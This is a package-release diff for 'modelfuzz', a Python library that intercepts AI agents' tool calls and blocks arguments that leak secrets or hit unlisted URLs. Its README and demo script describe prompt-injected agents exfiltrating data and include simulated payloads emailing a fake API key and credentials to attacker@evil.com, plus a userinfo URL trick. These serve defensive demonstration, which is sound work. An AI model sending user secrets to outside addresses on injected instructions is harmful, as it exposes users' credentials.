modelfuzz 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,12 @@
1
+ {
2
+ "permissions": {
3
+ "allow": [
4
+ "Bash(git -C /Users/gagandeep/agentshield status --short --branch)",
5
+ "Bash(uv --version)",
6
+ "Bash(uv sync *)",
7
+ "Bash(uv run python -c ' *)",
8
+ "Bash(uv run *)",
9
+ "Bash(git add *)"
10
+ ]
11
+ }
12
+ }
@@ -0,0 +1,33 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ pull_request:
7
+ branches: [main]
8
+
9
+ jobs:
10
+ test:
11
+ runs-on: ubuntu-latest
12
+ strategy:
13
+ fail-fast: false
14
+ matrix:
15
+ python-version: ["3.10", "3.11", "3.12"]
16
+
17
+ steps:
18
+ - uses: actions/checkout@v4
19
+
20
+ - uses: actions/setup-python@v5
21
+ with:
22
+ python-version: ${{ matrix.python-version }}
23
+
24
+ - uses: astral-sh/setup-uv@v3
25
+
26
+ - name: Install dependencies
27
+ run: uv sync --python ${{ matrix.python-version }}
28
+
29
+ - name: Lint
30
+ run: uv run ruff check .
31
+
32
+ - name: Test
33
+ run: uv run pytest
@@ -0,0 +1,9 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ .venv/
4
+ dist/
5
+ build/
6
+ *.egg-info/
7
+ .pytest_cache/
8
+ .ruff_cache/
9
+ .DS_Store
@@ -0,0 +1,7 @@
1
+ repos:
2
+ - repo: https://github.com/astral-sh/ruff-pre-commit
3
+ rev: v0.15.22
4
+ hooks:
5
+ - id: ruff-format
6
+ - id: ruff-check
7
+ args: [--fix]
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Gagan Deep
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,146 @@
1
+ Metadata-Version: 2.4
2
+ Name: modelfuzz
3
+ Version: 0.1.0
4
+ Summary: Runtime guardrails for AI agents.
5
+ Project-URL: Homepage, https://github.com/higagan/modelfuzz
6
+ Project-URL: Repository, https://github.com/higagan/modelfuzz
7
+ Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
8
+ Author-email: Gagan Deep <gagan.ping@gmail.com>
9
+ License: MIT
10
+ License-File: LICENSE
11
+ Keywords: ai-agents,guardrails,llm,prompt-injection,security
12
+ Classifier: Development Status :: 3 - Alpha
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Operating System :: OS Independent
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.10
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Classifier: Topic :: Security
21
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
22
+ Requires-Python: >=3.10
23
+ Requires-Dist: typer>=0.12
24
+ Description-Content-Type: text/markdown
25
+
26
+ # ModelFuzz
27
+
28
+ [![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
29
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
30
+ [![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
31
+ [![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
32
+
33
+ **Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
34
+
35
+ ---
36
+
37
+ ## The Problem
38
+
39
+ LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
40
+
41
+ ## The Solution
42
+
43
+ ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
44
+
45
+ ## Quickstart
46
+
47
+ ```python
48
+ from modelfuzz import shield_tool
49
+
50
+ @shield_tool()
51
+ def send_email(to_address: str, subject: str, body: str) -> None:
52
+ smtp.send(to_address, subject, body)
53
+ ```
54
+
55
+ That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
56
+
57
+ Need custom policies? Build your own engine:
58
+
59
+ ```python
60
+ from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
61
+
62
+ engine = PolicyEngine([
63
+ SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
64
+ URLAllowList(allowed_domains=["api.mycompany.com"]),
65
+ ])
66
+
67
+ @shield_tool(engine=engine)
68
+ def fetch_url(url: str) -> str:
69
+ ...
70
+ ```
71
+
72
+ ## The Demo
73
+
74
+ **What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
75
+
76
+ Run it yourself with `uv run python demo.py`:
77
+
78
+ ```text
79
+ ============================================================
80
+ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
81
+ ============================================================
82
+
83
+
84
+ ============================================================
85
+ PART 1: THE BREACH (UNGUARDED)
86
+ ============================================================
87
+
88
+ [!] UNGUARDED AGENT: Executing tool with malicious payload...
89
+ [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
90
+
91
+ [!] Simulating email send...
92
+ To: attacker@evil.com
93
+ Subject: Stolen Data
94
+ Body: The user's API_KEY is sk-12345...
95
+
96
+ ============================================================
97
+ 🚨 BREACH
98
+ ============================================================
99
+ Data exfiltrated to attacker@evil.com
100
+ ============================================================
101
+
102
+
103
+ ============================================================
104
+ PART 2: THE SHIELD (MODELFUZZ ACTIVE)
105
+ ============================================================
106
+
107
+ [+] GUARDED AGENT: Executing tool with malicious payload...
108
+ [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
109
+
110
+ [+] ModelFuzz is intercepting the call...
111
+
112
+ [✓] ModelFuzz caught a violation:
113
+ Reason: String contains sensitive keyword: 'secret'
114
+
115
+ ============================================================
116
+ 🛡️ MODELFUZZ BLOCKED
117
+ ============================================================
118
+ Sensitive data exfiltration stopped.
119
+ ============================================================
120
+ ```
121
+
122
+ ## How It Works
123
+
124
+ - **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
125
+ - **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
126
+ - **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
127
+
128
+ ## Installation
129
+
130
+ ```bash
131
+ pip install modelfuzz
132
+ ```
133
+
134
+ Or with [uv](https://github.com/astral-sh/uv):
135
+
136
+ ```bash
137
+ uv add modelfuzz
138
+ ```
139
+
140
+ ## Contributing
141
+
142
+ Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
143
+
144
+ ## License
145
+
146
+ MIT — see [LICENSE](LICENSE) for details.
@@ -0,0 +1,121 @@
1
+ # ModelFuzz
2
+
3
+ [![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
4
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
5
+ [![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
6
+ [![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
7
+
8
+ **Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
9
+
10
+ ---
11
+
12
+ ## The Problem
13
+
14
+ LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
15
+
16
+ ## The Solution
17
+
18
+ ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
19
+
20
+ ## Quickstart
21
+
22
+ ```python
23
+ from modelfuzz import shield_tool
24
+
25
+ @shield_tool()
26
+ def send_email(to_address: str, subject: str, body: str) -> None:
27
+ smtp.send(to_address, subject, body)
28
+ ```
29
+
30
+ That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
31
+
32
+ Need custom policies? Build your own engine:
33
+
34
+ ```python
35
+ from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
36
+
37
+ engine = PolicyEngine([
38
+ SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
39
+ URLAllowList(allowed_domains=["api.mycompany.com"]),
40
+ ])
41
+
42
+ @shield_tool(engine=engine)
43
+ def fetch_url(url: str) -> str:
44
+ ...
45
+ ```
46
+
47
+ ## The Demo
48
+
49
+ **What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
50
+
51
+ Run it yourself with `uv run python demo.py`:
52
+
53
+ ```text
54
+ ============================================================
55
+ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
56
+ ============================================================
57
+
58
+
59
+ ============================================================
60
+ PART 1: THE BREACH (UNGUARDED)
61
+ ============================================================
62
+
63
+ [!] UNGUARDED AGENT: Executing tool with malicious payload...
64
+ [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
65
+
66
+ [!] Simulating email send...
67
+ To: attacker@evil.com
68
+ Subject: Stolen Data
69
+ Body: The user's API_KEY is sk-12345...
70
+
71
+ ============================================================
72
+ 🚨 BREACH
73
+ ============================================================
74
+ Data exfiltrated to attacker@evil.com
75
+ ============================================================
76
+
77
+
78
+ ============================================================
79
+ PART 2: THE SHIELD (MODELFUZZ ACTIVE)
80
+ ============================================================
81
+
82
+ [+] GUARDED AGENT: Executing tool with malicious payload...
83
+ [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
84
+
85
+ [+] ModelFuzz is intercepting the call...
86
+
87
+ [✓] ModelFuzz caught a violation:
88
+ Reason: String contains sensitive keyword: 'secret'
89
+
90
+ ============================================================
91
+ 🛡️ MODELFUZZ BLOCKED
92
+ ============================================================
93
+ Sensitive data exfiltration stopped.
94
+ ============================================================
95
+ ```
96
+
97
+ ## How It Works
98
+
99
+ - **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
100
+ - **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
101
+ - **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
102
+
103
+ ## Installation
104
+
105
+ ```bash
106
+ pip install modelfuzz
107
+ ```
108
+
109
+ Or with [uv](https://github.com/astral-sh/uv):
110
+
111
+ ```bash
112
+ uv add modelfuzz
113
+ ```
114
+
115
+ ## Contributing
116
+
117
+ Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
118
+
119
+ ## License
120
+
121
+ MIT — see [LICENSE](LICENSE) for details.
@@ -0,0 +1,94 @@
1
+ """Demo script showing ModelFuzz blocking a data exfiltration attack."""
2
+
3
+ from modelfuzz import ModelFuzzBlockError, shield_tool
4
+
5
+ # --- ANSI Color Codes ---
6
+ RED = "\033[91m"
7
+ GREEN = "\033[92m"
8
+ YELLOW = "\033[93m"
9
+ CYAN = "\033[96m"
10
+ BOLD = "\033[1m"
11
+ RESET = "\033[0m"
12
+
13
+
14
+ def print_separator(title: str, color: str = CYAN) -> None:
15
+ """Print a visually distinct separator block."""
16
+ print(f"\n{color}{BOLD}{'=' * 60}{RESET}")
17
+ print(f"{color}{BOLD} {title} {RESET}")
18
+ print(f"{color}{BOLD}{'=' * 60}{RESET}\n")
19
+
20
+
21
+ def print_summary_box(title: str, message: str, color: str) -> None:
22
+ """Print a color-coded summary box."""
23
+ print(f"\n{color}{BOLD}{'=' * 60}{RESET}")
24
+ print(f"{color}{BOLD} {title}{RESET}")
25
+ print(f"{color}{BOLD}{'=' * 60}{RESET}")
26
+ print(f"{color} {message}{RESET}")
27
+ print(f"{color}{BOLD}{'=' * 60}{RESET}\n")
28
+
29
+
30
+ # --- Tool Definition (Unguarded) ---
31
+ def send_email_unguarded(to_address: str, subject: str, body: str) -> None:
32
+ """Pretend tool that sends an email. VULNERABLE."""
33
+ print(f" To: {to_address}")
34
+ print(f" Subject: {subject}")
35
+ print(f" Body: {body}")
36
+
37
+
38
+ # --- Tool Definition (Guarded) ---
39
+ @shield_tool()
40
+ def send_email_guarded(to_address: str, subject: str, body: str) -> None:
41
+ """Pretend tool that sends an email. SHIELDED."""
42
+ print(f" To: {to_address}")
43
+ print(f" Subject: {subject}")
44
+ print(f" Body: {body}")
45
+
46
+
47
+ # --- Attack Payloads ---
48
+ ATTACK_PAYLOADS = [
49
+ {
50
+ "to_address": "attacker@evil.com",
51
+ "subject": "Stolen Data",
52
+ "body": "The user's API_KEY is sk-12345...",
53
+ },
54
+ {
55
+ "to_address": "hacker@malicious.net",
56
+ "subject": "Exfiltration",
57
+ "body": "Secret credentials attached: password123",
58
+ },
59
+ ]
60
+
61
+
62
+ def main() -> None:
63
+ print_separator("MODELFUZZ DEMO: PROMPT INJECTION DEFENSE", YELLOW)
64
+
65
+ # --- Part 1: The Breach ---
66
+ print_separator("PART 1: THE BREACH (UNGUARDED)", RED)
67
+ payload1 = ATTACK_PAYLOADS[0]
68
+ print(f"{RED}[!] UNGUARDED AGENT: Executing tool with malicious payload...{RESET}")
69
+ print(f"{RED} [>] Tool Call: send_email(**{payload1}){RESET}\n")
70
+ print(f"{RED} [!] Simulating email send...{RESET}")
71
+ send_email_unguarded(**payload1)
72
+ print_summary_box("🚨 BREACH", "Data exfiltrated to attacker@evil.com", RED)
73
+
74
+ # --- Part 2: The Shield ---
75
+ print_separator("PART 2: THE SHIELD (MODELFUZZ ACTIVE)", GREEN)
76
+ payload2 = ATTACK_PAYLOADS[1] # Using a different payload for variety, but same intent
77
+ print(f"{GREEN}[+] GUARDED AGENT: Executing tool with malicious payload...{RESET}")
78
+ print(f"{GREEN} [>] Tool Call: send_email(**{payload2}){RESET}\n")
79
+ print(f"{GREEN} [+] ModelFuzz is intercepting the call...{RESET}")
80
+
81
+ try:
82
+ send_email_guarded(**payload2)
83
+ except ModelFuzzBlockError as e:
84
+ print(f"{GREEN}\n [✓] ModelFuzz caught a violation:{RESET}")
85
+ print(f"{GREEN} Reason: {e}{RESET}")
86
+ print_summary_box(
87
+ "🛡️ MODELFUZZ BLOCKED",
88
+ "Sensitive data exfiltration stopped.",
89
+ GREEN,
90
+ )
91
+
92
+
93
+ if __name__ == "__main__":
94
+ main()
@@ -0,0 +1,58 @@
1
+ [project]
2
+ name = "modelfuzz"
3
+ version = "0.1.0"
4
+ description = "Runtime guardrails for AI agents."
5
+ readme = "README.md"
6
+ license = { text = "MIT" }
7
+ authors = [
8
+ { name = "Gagan Deep", email = "gagan.ping@gmail.com" },
9
+ ]
10
+ keywords = ["ai-agents", "security", "guardrails", "prompt-injection", "llm"]
11
+ classifiers = [
12
+ "Development Status :: 3 - Alpha",
13
+ "Intended Audience :: Developers",
14
+ "License :: OSI Approved :: MIT License",
15
+ "Operating System :: OS Independent",
16
+ "Programming Language :: Python :: 3",
17
+ "Programming Language :: Python :: 3.10",
18
+ "Programming Language :: Python :: 3.11",
19
+ "Programming Language :: Python :: 3.12",
20
+ "Topic :: Security",
21
+ "Topic :: Software Development :: Libraries :: Python Modules",
22
+ ]
23
+ requires-python = ">=3.10"
24
+ dependencies = [
25
+ "typer>=0.12",
26
+ ]
27
+
28
+ [project.scripts]
29
+ modelfuzz = "modelfuzz.cli:main"
30
+
31
+ [project.urls]
32
+ Homepage = "https://github.com/higagan/modelfuzz"
33
+ Repository = "https://github.com/higagan/modelfuzz"
34
+ Issues = "https://github.com/higagan/modelfuzz/issues"
35
+
36
+ [dependency-groups]
37
+ dev = [
38
+ "pytest>=8.0",
39
+ "ruff>=0.12",
40
+ "pre-commit>=4.0",
41
+ ]
42
+
43
+ [build-system]
44
+ requires = ["hatchling"]
45
+ build-backend = "hatchling.build"
46
+
47
+ [tool.hatch.build.targets.wheel]
48
+ packages = ["src/modelfuzz"]
49
+
50
+ [tool.ruff]
51
+ line-length = 100
52
+ src = ["src", "tests"]
53
+
54
+ [tool.ruff.lint]
55
+ select = ["E", "F", "I", "UP", "B", "SIM"]
56
+
57
+ [tool.pytest.ini_options]
58
+ testpaths = ["tests"]
@@ -0,0 +1,17 @@
1
+ """ModelFuzz: a lightweight shield for intercepting agent tool calls."""
2
+
3
+ from modelfuzz.decorator import shield_tool
4
+ from modelfuzz.engine import PolicyEngine, PolicyResult
5
+ from modelfuzz.exceptions import ModelFuzzBlockError
6
+ from modelfuzz.rules import SensitiveDataFilter, URLAllowList, Violation
7
+
8
+ __all__ = [
9
+ "shield_tool",
10
+ "ModelFuzzBlockError",
11
+ "SensitiveDataFilter",
12
+ "URLAllowList",
13
+ "Violation",
14
+ "PolicyEngine",
15
+ "PolicyResult",
16
+ ]
17
+ __version__ = "0.1.0"
@@ -0,0 +1,27 @@
1
+ """Command-line interface for ModelFuzz."""
2
+
3
+ import typer
4
+
5
+ from modelfuzz import __version__
6
+
7
+ app = typer.Typer(help="Runtime guardrails for AI agents.")
8
+
9
+
10
+ @app.callback()
11
+ def cli() -> None:
12
+ """Runtime guardrails for AI agents."""
13
+
14
+
15
+ @app.command()
16
+ def version() -> None:
17
+ """Print the installed ModelFuzz version."""
18
+ typer.echo(__version__)
19
+
20
+
21
+ def main() -> None:
22
+ """Entry point for the ``modelfuzz`` console script."""
23
+ app()
24
+
25
+
26
+ if __name__ == "__main__":
27
+ main()
@@ -0,0 +1,45 @@
1
+ """Decorators for shielding agent tool functions."""
2
+
3
+ import functools
4
+ from collections.abc import Callable
5
+ from typing import ParamSpec, TypeVar
6
+
7
+ from modelfuzz.engine import PolicyEngine
8
+ from modelfuzz.exceptions import ModelFuzzBlockError
9
+ from modelfuzz.rules import SensitiveDataFilter
10
+
11
+ P = ParamSpec("P")
12
+ R = TypeVar("R")
13
+
14
+ # Default policy engine for the decorator
15
+ default_policies = [SensitiveDataFilter()]
16
+ _default_engine = PolicyEngine(default_policies)
17
+
18
+
19
+ def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
20
+ """Wrap a tool function so every call is intercepted before execution.
21
+
22
+ Args:
23
+ engine: The policy engine to use for validation. If None, a default
24
+ engine with a SensitiveDataFilter is used.
25
+
26
+ Returns:
27
+ A decorator that wraps the function.
28
+ """
29
+ actual_engine = engine if engine is not None else _default_engine
30
+
31
+ def decorator(func: Callable[P, R]) -> Callable[P, R]:
32
+ @functools.wraps(func)
33
+ def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
34
+ # Check all arguments against the policy engine
35
+ for arg in list(args) + list(kwargs.values()):
36
+ result = actual_engine.run(arg)
37
+ if not result.allowed:
38
+ raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
39
+
40
+ print(f"ModelFuzz Intercepted: {func.__name__}")
41
+ return func(*args, **kwargs)
42
+
43
+ return wrapper
44
+
45
+ return decorator
@@ -0,0 +1,36 @@
1
+ """Policy engine for ModelFuzz."""
2
+
3
+ from collections.abc import Callable
4
+ from dataclasses import dataclass
5
+
6
+ from modelfuzz.rules import Violation
7
+
8
+
9
+ @dataclass
10
+ class PolicyResult:
11
+ """The result of a policy engine run."""
12
+
13
+ allowed: bool
14
+ reason: str | None = None
15
+
16
+
17
+ class PolicyEngine:
18
+ """Runs a list of policies against a call."""
19
+
20
+ def __init__(self, policies: list[Callable[[object], Violation | None]]) -> None:
21
+ self.policies = policies
22
+
23
+ def run(self, call: object) -> PolicyResult:
24
+ """Run all policies in order. Short-circuit on first violation.
25
+
26
+ Args:
27
+ call: The call data to check.
28
+
29
+ Returns:
30
+ A PolicyResult object indicating if the call is allowed.
31
+ """
32
+ for policy in self.policies:
33
+ violation = policy(call)
34
+ if violation:
35
+ return PolicyResult(allowed=False, reason=violation.reason)
36
+ return PolicyResult(allowed=True)
@@ -0,0 +1,7 @@
1
+ """Exceptions for ModelFuzz."""
2
+
3
+
4
+ class ModelFuzzBlockError(Exception):
5
+ """Raised when a tool call is blocked by ModelFuzz."""
6
+
7
+ pass